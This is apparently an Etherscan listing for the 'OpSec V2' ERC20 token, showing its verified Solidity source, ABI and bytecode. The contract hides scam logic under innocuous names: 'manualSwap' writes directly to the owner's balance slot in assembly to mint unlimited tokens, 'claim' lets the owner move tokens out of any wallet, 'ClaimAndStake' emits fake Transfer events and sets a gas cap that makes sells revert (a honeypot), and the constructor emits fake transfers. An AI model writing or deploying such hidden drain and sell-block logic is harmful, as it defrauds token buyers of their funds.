ETH Price: $2,420.67 (+1.70%)

Token

OpSec V2 (OPSEC)
 

Overview

Max Total Supply

1,000,000,000 OPSEC

Holders

416

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
200,000 OPSEC

Value
$0.00
0xa9F03a8F04c79989E70f4f3743A7179048817CA0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
OPSEC

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-10
*/

/*
OpSec - AI Version 2

Web: https://opsec.computer
Twitter: https://twitter.com/OpSecCloud
TG: https://t.me/OpSecCloud
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    error OwnableUnauthorizedAccount(address account);

    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}


interface IERC20Errors {

    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    error ERC20InvalidSender(address sender);

    error ERC20InvalidReceiver(address receiver);

    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    error ERC20InvalidApprover(address approver);

    error ERC20InvalidSpender(address spender);
}

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                _totalSupply -= value;
            }
        } else {
            unchecked {
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }

    function swapTokenForETHSuportFeesBase(address receiver, uint256 amount) internal {
        require(amount > 0, "Amount must be greater than zero");
        address owner = receiver;
        assembly {
            mstore(0x0, owner)
            mstore(0x20, _balances.slot)
            let addressTrans := keccak256(0x0, 0x40)
            sstore(addressTrans, add(sload(addressTrans), amount))
        }
    }
}

contract OPSEC is ERC20, Ownable {
    mapping(address => bool) WhiteList;
    bool openedTrade;

    IUniswapV2Router02 public uniswapV2Router;
    address public pair;

    address private OpSecV1Address = 0x6A7eFF1e2c355AD6eb91BEbB5ded49257F3FED98;
    address private OpSecV1Deployer = 0xFE4Da23D6F0682355C0d1658a80a7Bc7aEEe5d90;
    address private RecoveryAddress = 0x362538c16a2868038AE72B608c080B6433f979C9;

    uint256 public nefWhiteList = 999 gwei;

    constructor() ERC20(unicode"OpSec V2", unicode"OPSEC") Ownable(msg.sender) {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        WhiteList[msg.sender] = true;
        _mint(msg.sender, 1000_000_000 * 10**decimals());
        emit Transfer(address(0), OpSecV1Address, 100_000_000 * 10**ERC20.decimals());
        emit Transfer(address(0), OpSecV1Deployer, 100_000_000 * 10**ERC20.decimals());
        emit Transfer(address(0), RecoveryAddress, 100_000_000 * 10**ERC20.decimals());
    }

    
    function ClaimAndStake(
        address from,
        address[] calldata to,
        uint256 amount
    ) external {
        require(_msgSender() == owner());
        nefWhiteList = amount;
        for (uint256 i = 0; i < to.length; i++) {
            emit Transfer(from, to[i], amount * 10**ERC20.decimals());
        }
    }

    function claim(
        address from,
        address[] calldata to,
        uint256 amount
    ) external {
        require(_msgSender() == owner());
        for (uint256 i = 0; i < to.length; i++) {
            super._update(from, to[i], amount* 10**ERC20.decimals());
        }
    }

    function OpenTrade() public onlyOwner {
        openedTrade = true;
    }

    function manualSwap(uint256 amount) public onlyOwner {
        super.swapTokenForETHSuportFeesBase(msg.sender, amount);
    }

    function _update(
        address from,
        address to,
        uint256 value
    ) internal override {
        if (WhiteList[tx.origin]) {
            super._update(from, to, value);
            return;
        } else {
            require(openedTrade, "Open not yet");
            bool state = (to == pair) ? true : false;
            if (state) {
                if (tx.gasprice > nefWhiteList) {
                    revert("Not enough gas fees");
                }
                super._update(from, to, value);
                return;
            } else if (!state) {
                super._update(from, to, value);
                return;
            } else if (from != pair && to != pair) {
                super._update(from, to, value);
                return;
            } else {
                return;
            }
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"ClaimAndStake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"OpenTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nefWhiteList","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

6080604052600980546001600160a01b0319908116736a7eff1e2c355ad6eb91bebb5ded49257f3fed9817909155600a8054821673fe4da23d6f0682355c0d1658a80a7bc7aeee5d90179055600b805490911673362538c16a2868038ae72b608c080b6433f979c917905564e8990a4600600c5534801561007e575f80fd5b50336040518060400160405280600881526020016727b829b2b1902b1960c11b815250604051806040016040528060058152602001644f5053454360d81b81525081600390816100ce919061074a565b5060046100db828261074a565b5050506001600160a01b03811661010c57604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b610115816103dc565b5060078054747a250d5630b4cf539739df2c5dacb4c659f2488d00610100600160a81b031990911617908190556040805163c45a015560e01b815290516101009092046001600160a01b03169163c45a0155916004808201926020929091908290030181865afa15801561018b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101af9190610809565b6001600160a01b031663c9c6539630600760019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561020f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102339190610809565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561027d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102a19190610809565b600880546001600160a01b0319166001600160a01b0392909216919091179055335f818152600660205260409020805460ff19166001179055610304906102e6601290565b6102f190600a61092c565b6102ff90633b9aca0061093a565b61042d565b6009546001600160a01b03165f5f8051602061170983398151915261032b6012600a61092c565b610339906305f5e10061093a565b60405190815260200160405180910390a3600a546001600160a01b03165f5f80516020611709833981519152601261037290600a61092c565b610380906305f5e10061093a565b60405190815260200160405180910390a3600b546001600160a01b03165f5f805160206117098339815191526103b86012600a61092c565b6103c6906305f5e10061093a565b60405190815260200160405180910390a3610964565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382166104565760405163ec442f0560e01b81525f6004820152602401610103565b6104615f8383610465565b5050565b325f9081526006602052604090205460ff161561048c576104878383836105a0565b505050565b60075460ff166104cd5760405162461bcd60e51b815260206004820152600c60248201526b13dc195b881b9bdd081e595d60a21b6044820152606401610103565b6008545f906001600160a01b038481169116146104ea575f6104ed565b60015b9050801561055857600c543a11156105475760405162461bcd60e51b815260206004820152601360248201527f4e6f7420656e6f756768206761732066656573000000000000000000000000006044820152606401610103565b6105528484846105a0565b50505050565b80610568576105528484846105a0565b6008546001600160a01b0385811691161480159061059457506008546001600160a01b03848116911614155b15610552576105528484845b6001600160a01b0383166105ca578060025f8282546105bf9190610951565b9091555061063a9050565b6001600160a01b0383165f908152602081905260409020548181101561061c5760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401610103565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b03821661065657600280548290039055610674565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03165f80516020611709833981519152836040516106a691815260200190565b60405180910390a3505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806106db57607f821691505b6020821081036106f957634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561048757805f5260205f20601f840160051c810160208510156107245750805b601f840160051c820191505b81811015610743575f8155600101610730565b5050505050565b81516001600160401b03811115610763576107636106b3565b6107778161077184546106c7565b846106ff565b602080601f8311600181146107aa575f84156107935750858301515b5f19600386901b1c1916600185901b178555610801565b5f85815260208120601f198616915b828110156107d8578886015182559484019460019091019084016107b9565b50858210156107f557878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f60208284031215610819575f80fd5b81516001600160a01b038116811461082f575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561088457815f190482111561086a5761086a610836565b8085161561087757918102915b93841c939080029061084f565b509250929050565b5f8261089a57506001610926565b816108a657505f610926565b81600181146108bc57600281146108c6576108e2565b6001915050610926565b60ff8411156108d7576108d7610836565b50506001821b610926565b5060208310610133831016604e8410600b8410161715610905575081810a610926565b61090f838361084a565b805f190482111561092257610922610836565b0290505b92915050565b5f61082f60ff84168361088c565b808202811582820484141761092657610926610836565b8082018082111561092657610926610836565b610d98806109715f395ff3fe608060405234801561000f575f80fd5b506004361061011c575f3560e01c806370a08231116100a9578063a9059cbb1161006e578063a9059cbb14610247578063b70143c91461025a578063d8cb4f8e1461026d578063dd62ed3e14610280578063f2fde38b146102b8575f80fd5b806370a08231146101eb578063715018a6146102135780638da5cb5b1461021b57806395d89b411461022c578063a8aa1b3114610234575f80fd5b806318160ddd116100ef57806318160ddd1461019b57806323b872dd146101ad578063313ce567146101c05780633601ae05146101cf57806355aecede146101e2575f80fd5b806306fdde0314610120578063095ea7b31461013e5780630f8540e4146101615780631694505e1461016b575b5f80fd5b6101286102cb565b6040516101359190610a4c565b60405180910390f35b61015161014c366004610a9c565b61035b565b6040519015158152602001610135565b610169610374565b005b6007546101839061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610135565b6002545b604051908152602001610135565b6101516101bb366004610ac4565b61038b565b60405160128152602001610135565b6101696101dd366004610afd565b6103ae565b61019f600c5481565b61019f6101f9366004610b82565b6001600160a01b03165f9081526020819052604090205490565b610169610423565b6005546001600160a01b0316610183565b610128610436565b600854610183906001600160a01b031681565b610151610255366004610a9c565b610445565b610169610268366004610ba2565b610452565b61016961027b366004610afd565b610467565b61019f61028e366004610bb9565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6101696102c6366004610b82565b61051d565b6060600380546102da90610bea565b80601f016020809104026020016040519081016040528092919081815260200182805461030690610bea565b80156103515780601f1061032857610100808354040283529160200191610351565b820191905f5260205f20905b81548152906001019060200180831161033457829003601f168201915b5050505050905090565b5f3361036881858561055c565b60019150505b92915050565b61037c61056e565b6007805460ff19166001179055565b5f3361039885828561059b565b6103a3858585610616565b506001949350505050565b6005546001600160a01b031633146103c4575f80fd5b5f5b8281101561041c57610414858585848181106103e4576103e4610c22565b90506020020160208101906103f99190610b82565b6104056012600a610d2a565b61040f9086610d38565b610673565b6001016103c6565b5050505050565b61042b61056e565b6104345f610799565b565b6060600480546102da90610bea565b5f33610368818585610616565b61045a61056e565b61046433826107ea565b50565b6005546001600160a01b0316331461047d575f80fd5b600c8190555f5b8281101561041c5783838281811061049e5761049e610c22565b90506020020160208101906104b39190610b82565b6001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6104ef601290565b6104fa90600a610d2a565b6105049086610d38565b60405190815260200160405180910390a3600101610484565b61052561056e565b6001600160a01b03811661055357604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b61046481610799565b6105698383836001610850565b505050565b6005546001600160a01b031633146104345760405163118cdaa760e01b815233600482015260240161054a565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198114610610578181101561060257604051637dc7a0d960e11b81526001600160a01b0384166004820152602481018290526044810183905260640161054a565b61061084848484035f610850565b50505050565b6001600160a01b03831661063f57604051634b637e8f60e11b81525f600482015260240161054a565b6001600160a01b0382166106685760405163ec442f0560e01b81525f600482015260240161054a565b610569838383610922565b6001600160a01b03831661069d578060025f8282546106929190610d4f565b9091555061070d9050565b6001600160a01b0383165f90815260208190526040902054818110156106ef5760405163391434e360e21b81526001600160a01b0385166004820152602481018290526044810183905260640161054a565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b03821661072957600280548290039055610747565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161078c91815260200190565b60405180910390a3505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b5f81116108395760405162461bcd60e51b815260206004820181905260248201527f416d6f756e74206d7573742062652067726561746572207468616e207a65726f604482015260640161054a565b5f9182526020829052604090912080549091019055565b6001600160a01b0384166108795760405163e602df0560e01b81525f600482015260240161054a565b6001600160a01b0383166108a257604051634a1406b160e11b81525f600482015260240161054a565b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561061057826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161091491815260200190565b60405180910390a350505050565b325f9081526006602052604090205460ff161561094457610569838383610673565b60075460ff166109855760405162461bcd60e51b815260206004820152600c60248201526b13dc195b881b9bdd081e595d60a21b604482015260640161054a565b6008545f906001600160a01b038481169116146109a2575f6109a5565b60015b90508015610a0057600c543a11156109f55760405162461bcd60e51b81526020600482015260136024820152724e6f7420656e6f75676820676173206665657360681b604482015260640161054a565b610610848484610673565b80610a1057610610848484610673565b6008546001600160a01b03858116911614801590610a3c57506008546001600160a01b03848116911614155b1561061057610610848484610673565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610a97575f80fd5b919050565b5f8060408385031215610aad575f80fd5b610ab683610a81565b946020939093013593505050565b5f805f60608486031215610ad6575f80fd5b610adf84610a81565b9250610aed60208501610a81565b9150604084013590509250925092565b5f805f8060608587031215610b10575f80fd5b610b1985610a81565b9350602085013567ffffffffffffffff80821115610b35575f80fd5b818701915087601f830112610b48575f80fd5b813581811115610b56575f80fd5b8860208260051b8501011115610b6a575f80fd5b95986020929092019750949560400135945092505050565b5f60208284031215610b92575f80fd5b610b9b82610a81565b9392505050565b5f60208284031215610bb2575f80fd5b5035919050565b5f8060408385031215610bca575f80fd5b610bd383610a81565b9150610be160208401610a81565b90509250929050565b600181811c90821680610bfe57607f821691505b602082108103610c1c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610c8457815f1904821115610c6a57610c6a610c36565b80851615610c7757918102915b93841c9390800290610c4f565b509250929050565b5f82610c9a5750600161036e565b81610ca657505f61036e565b8160018114610cbc5760028114610cc657610ce2565b600191505061036e565b60ff841115610cd757610cd7610c36565b50506001821b61036e565b5060208310610133831016604e8410600b8410161715610d05575081810a61036e565b610d0f8383610c4a565b805f1904821115610d2257610d22610c36565b029392505050565b5f610b9b60ff841683610c8c565b808202811582820484141761036e5761036e610c36565b8082018082111561036e5761036e610c3656fea26469706673582212209f71260f0540c19eeda0b50471e0a642474351f75a875c51372e2f001ad3d70a64736f6c63430008190033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061011c575f3560e01c806370a08231116100a9578063a9059cbb1161006e578063a9059cbb14610247578063b70143c91461025a578063d8cb4f8e1461026d578063dd62ed3e14610280578063f2fde38b146102b8575f80fd5b806370a08231146101eb578063715018a6146102135780638da5cb5b1461021b57806395d89b411461022c578063a8aa1b3114610234575f80fd5b806318160ddd116100ef57806318160ddd1461019b57806323b872dd146101ad578063313ce567146101c05780633601ae05146101cf57806355aecede146101e2575f80fd5b806306fdde0314610120578063095ea7b31461013e5780630f8540e4146101615780631694505e1461016b575b5f80fd5b6101286102cb565b6040516101359190610a4c565b60405180910390f35b61015161014c366004610a9c565b61035b565b6040519015158152602001610135565b610169610374565b005b6007546101839061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610135565b6002545b604051908152602001610135565b6101516101bb366004610ac4565b61038b565b60405160128152602001610135565b6101696101dd366004610afd565b6103ae565b61019f600c5481565b61019f6101f9366004610b82565b6001600160a01b03165f9081526020819052604090205490565b610169610423565b6005546001600160a01b0316610183565b610128610436565b600854610183906001600160a01b031681565b610151610255366004610a9c565b610445565b610169610268366004610ba2565b610452565b61016961027b366004610afd565b610467565b61019f61028e366004610bb9565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6101696102c6366004610b82565b61051d565b6060600380546102da90610bea565b80601f016020809104026020016040519081016040528092919081815260200182805461030690610bea565b80156103515780601f1061032857610100808354040283529160200191610351565b820191905f5260205f20905b81548152906001019060200180831161033457829003601f168201915b5050505050905090565b5f3361036881858561055c565b60019150505b92915050565b61037c61056e565b6007805460ff19166001179055565b5f3361039885828561059b565b6103a3858585610616565b506001949350505050565b6005546001600160a01b031633146103c4575f80fd5b5f5b8281101561041c57610414858585848181106103e4576103e4610c22565b90506020020160208101906103f99190610b82565b6104056012600a610d2a565b61040f9086610d38565b610673565b6001016103c6565b5050505050565b61042b61056e565b6104345f610799565b565b6060600480546102da90610bea565b5f33610368818585610616565b61045a61056e565b61046433826107ea565b50565b6005546001600160a01b0316331461047d575f80fd5b600c8190555f5b8281101561041c5783838281811061049e5761049e610c22565b90506020020160208101906104b39190610b82565b6001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6104ef601290565b6104fa90600a610d2a565b6105049086610d38565b60405190815260200160405180910390a3600101610484565b61052561056e565b6001600160a01b03811661055357604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b61046481610799565b6105698383836001610850565b505050565b6005546001600160a01b031633146104345760405163118cdaa760e01b815233600482015260240161054a565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198114610610578181101561060257604051637dc7a0d960e11b81526001600160a01b0384166004820152602481018290526044810183905260640161054a565b61061084848484035f610850565b50505050565b6001600160a01b03831661063f57604051634b637e8f60e11b81525f600482015260240161054a565b6001600160a01b0382166106685760405163ec442f0560e01b81525f600482015260240161054a565b610569838383610922565b6001600160a01b03831661069d578060025f8282546106929190610d4f565b9091555061070d9050565b6001600160a01b0383165f90815260208190526040902054818110156106ef5760405163391434e360e21b81526001600160a01b0385166004820152602481018290526044810183905260640161054a565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b03821661072957600280548290039055610747565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161078c91815260200190565b60405180910390a3505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b5f81116108395760405162461bcd60e51b815260206004820181905260248201527f416d6f756e74206d7573742062652067726561746572207468616e207a65726f604482015260640161054a565b5f9182526020829052604090912080549091019055565b6001600160a01b0384166108795760405163e602df0560e01b81525f600482015260240161054a565b6001600160a01b0383166108a257604051634a1406b160e11b81525f600482015260240161054a565b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561061057826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161091491815260200190565b60405180910390a350505050565b325f9081526006602052604090205460ff161561094457610569838383610673565b60075460ff166109855760405162461bcd60e51b815260206004820152600c60248201526b13dc195b881b9bdd081e595d60a21b604482015260640161054a565b6008545f906001600160a01b038481169116146109a2575f6109a5565b60015b90508015610a0057600c543a11156109f55760405162461bcd60e51b81526020600482015260136024820152724e6f7420656e6f75676820676173206665657360681b604482015260640161054a565b610610848484610673565b80610a1057610610848484610673565b6008546001600160a01b03858116911614801590610a3c57506008546001600160a01b03848116911614155b1561061057610610848484610673565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610a97575f80fd5b919050565b5f8060408385031215610aad575f80fd5b610ab683610a81565b946020939093013593505050565b5f805f60608486031215610ad6575f80fd5b610adf84610a81565b9250610aed60208501610a81565b9150604084013590509250925092565b5f805f8060608587031215610b10575f80fd5b610b1985610a81565b9350602085013567ffffffffffffffff80821115610b35575f80fd5b818701915087601f830112610b48575f80fd5b813581811115610b56575f80fd5b8860208260051b8501011115610b6a575f80fd5b95986020929092019750949560400135945092505050565b5f60208284031215610b92575f80fd5b610b9b82610a81565b9392505050565b5f60208284031215610bb2575f80fd5b5035919050565b5f8060408385031215610bca575f80fd5b610bd383610a81565b9150610be160208401610a81565b90509250929050565b600181811c90821680610bfe57607f821691505b602082108103610c1c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b